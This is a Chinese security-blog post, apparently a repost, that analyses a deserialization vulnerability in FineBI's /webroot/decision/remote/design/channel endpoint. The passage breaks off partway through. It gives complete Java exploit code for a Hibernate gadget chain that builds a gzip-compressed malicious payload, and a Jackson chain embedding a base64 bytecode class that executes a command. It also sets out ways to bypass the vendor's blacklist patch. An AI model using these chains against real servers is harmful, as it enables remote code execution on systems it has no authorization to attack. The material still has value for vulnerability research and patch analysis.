专栏名称: 黑伞安全
安全加固 渗透测试 众测 ctf 安全新领域研究
目录
相关文章推荐
中国基金报  ·  广州银行,被罚! ·  昨天  
中国基金报  ·  阿里系,飙涨! ·  2 天前  
中国基金报  ·  腾讯理财通,大消息!“正式接入” ·  3 天前  
新疆生态环境  ·  关于调整区域重污染天气预警级别的公告 ·  3 天前  
新疆生态环境  ·  关于调整区域重污染天气预警级别的公告 ·  3 天前  
51好读  ›  专栏  ›  黑伞安全

常态期讨老口子2: 帆软反序列化分析

黑伞安全  · 公众号  ·  · 2024-07-23 20:19

正文

这段常态化时期,每天都整理和学习历年能打穿小朋友的漏洞,本文转载自

https://xz.aliyun.com/t/13389

这篇文章是关于FineBI软件中的反序列化漏洞的分析。以下是对文章内容的总结:

  1. 漏洞概述

  • 漏洞存在于FineBI的 /webroot/decision/remote/design/channel 接口。

  • 该接口接收POST方法传输的数据,首先通过 GZIPInputStream 进行解压缩,然后使用 CustomObjectInputStream 包装并调用 readObject() 方法实现反序列化。

  • 漏洞利用过程

    • 攻击者需要构造序列化数据,并通过gzip压缩后发送到漏洞接口。

    • 构造序列化数据可以利用Hibernate链或Commons Collections(cb链)等技术。

  • 示例代码

    • 文章提供了构造Hibernate链的Java代码示例,展示了如何利用反射和字节码技术构造恶意的序列化数据。

  • 反序列化绕过

    • 官方修复漏洞的方式是增加反序列化黑名单,禁止了一些类的反序列化,包括cb、hibernate等。

    • 但修复后,jackson相关的类并未被禁止,攻击者可以利用jackson构造反序列化链。

  • jackson反序列化链构造

    • 文章提供了利用jackson构造反序列化链的Java代码示例。

    • 利用了 BadAttributeValueExpException TemplatesImpl 等类的特性。

  • 绕过黑名单限制

    • 由于黑名单中包含了 BadAttributeValueExpException TemplatesImpl ,文章进一步探讨了如何使用其他类来绕过这些限制。

    • 提出了使用 XString HotSwappableTargetSource SignedObject 等类进行绕过的方法。


    Finebi反序列化漏洞分析

    反序列化

    /webroot/decision/remote/design/channel 处存在发序列化漏洞
    这个接口接收post传输的数据,会先经过GZIPInputStream解压缩GZIP格式数据

    然后对经过解压缩后的数据利用CustomObjectInputStream进行包装,再调用readObject()方法实现反序列化

    CustomObjectInputStream继承ObjectInputStream,其构造方法调用父类的构造方法,和正常反序列化差不多

    所以我们构造的序列化数据,要先经过gzip压缩,再向漏洞接口发送

    如何构造序列化数据呢,可以利用cb链或者hibernate链,需要注意的是这里的包名不是正常maven下载的依赖的包名,所以有些payload构造也会有所差别,构造hibernate链

    import com.fr.third.org.hibernate.engine.spi.TypedValue;

    import com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer;
    import com.fr.third.org.hibernate.type.Type;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

    import java.lang.reflect.Array;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.Method;
    import java.util.HashMap;

    public class Hibernate {
    public static byte[] getPayload(byte[] bytes) throws Exception {
    Class> componentTypeClass = Class.forName("com.fr.third.org.hibernate.type.ComponentType");
    Class> pojoComponentTuplizerClass = Class.forName("com.fr.third.org.hibernate.tuple.component.PojoComponentTuplizer");
    Class> abstractComponentTuplizerClass = Class.forName("com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer");


    TemplatesImpl tmpl = utils.getTeml(bytes);
    Method method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");

    Object getter;
    try {
    Class> getterImpl = Class.forName("com.fr.third.org.hibernate.property.access.spi.GetterMethodImpl");
    Constructor> constructor = getterImpl.getDeclaredConstructors()[0];
    constructor.setAccessible(true);
    getter = constructor.newInstance(null, null, method);
    } catch (Exception ignored) {
    Class> basicGetter = Class.forName("com.fr.third.org.hibernate.property.BasicPropertyAccessor$BasicGetter");
    Constructor> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
    constructor.setAccessible(true);
    getter = constructor.newInstance(tmpl.getClass(), method, "outputProperties");
    }

    Object getters = Array.newInstance(getter.getClass(), 1);
    Array.set(getters, 0, getter);

    AbstractComponentTuplizer tuplizer = (AbstractComponentTuplizer) utils.createInstanceUnsafely(pojoComponentTuplizerClass);

    Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
    field.setAccessible(true);
    field.set(tuplizer, getters);

    Object type = utils.createInstanceUnsafely(componentTypeClass);

    utils.setFieldValue(type,"componentTuplizer",tuplizer);

    utils.setFieldValue(type,"propertySpan",1);

    utils.setFieldValue(type,"propertyTypes",new Type[]{(Type) type});

    TypedValue typedValue = new TypedValue((Type) type, null);

    HashMap hashMap = new HashMap<>();
    hashMap.put(typedValue, "123");

    utils.setFieldValue(typedValue,"value", tmpl);

    byte[] ser = utils.serialize(hashMap);
    byte[] payload = utils.GzipCompress(ser);
    return payload;

    }

    }

    反序列化绕过

    之后官方对其进行了修复,修复方式是增加了反序列化黑名单,禁止了一些类的反序列化,包括了cb、hibernate以及一些反序列化中常用的类

    但是这里面没有禁止jackson相关的类,可以利用jackson来构造反序列化链

    import util.utils;

    import com.fasterxml.jackson.databind.node.POJONode;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import javassist.ClassPool;
    import javassist.CtClass;
    import javassist.CtMethod;

    import javax.management.BadAttributeValueExpException;
    import java.util.Base64;

    public class jackson {
    public static void main(String[] args) throws Exception {
    String calc = "yv66vgAAADQANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMdGVzdDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKgEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMAAoACwcAMAwAMQAyAQAEY2FsYwwAMwA0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKADUBAAR0ZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAJAA4AAAAMAAEAAAAFAA8AEAAAAAEAEQASAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAWAA4AAAAgAAMAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAFQAWAAIAFwAAAAQAAQAYAAEAEQAZAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAbAA4AAAAqAAQAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAGgAbAAIAAAABABwAHQADABcAAAAEAAEAGAAIAB4ACwABAAwAAABmAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAADQAJABAADAAOAA0ADwAWABEADgAAAAwAAQANAAkAHwAgAAAAIQAAAAcAAkwHACIJAAEAIwAAAAIAJA==";
    TemplatesImpl t = utils.getTeml(Base64.getDecoder().decode(calc));
    CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
    CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
    ctClass.removeMethod(writeReplace);
    ctClass.toClass();
    POJONode node = new POJONode(t);
    BadAttributeValueExpException val = new BadAttributeValueExpException(null);
    utils.setFieldValue(val,"val",node);

    byte[] ser = utils.serialize(val);
    String b = Base64.getEncoder().encodeToString(ser);
    System.out.println(b);
    utils.unserialize(ser);
    }
    }

    这是最普通的jackson反序列化利用链的构造,在这个代码中使用到的BadAttributeValueExpException和TemplatesImpl是在黑名单里的,我们需要找到能够替换这2个类的类
    BadAttributeValueExpException反序列化时会触发toSting方法







    请到「今天看啥」查看全文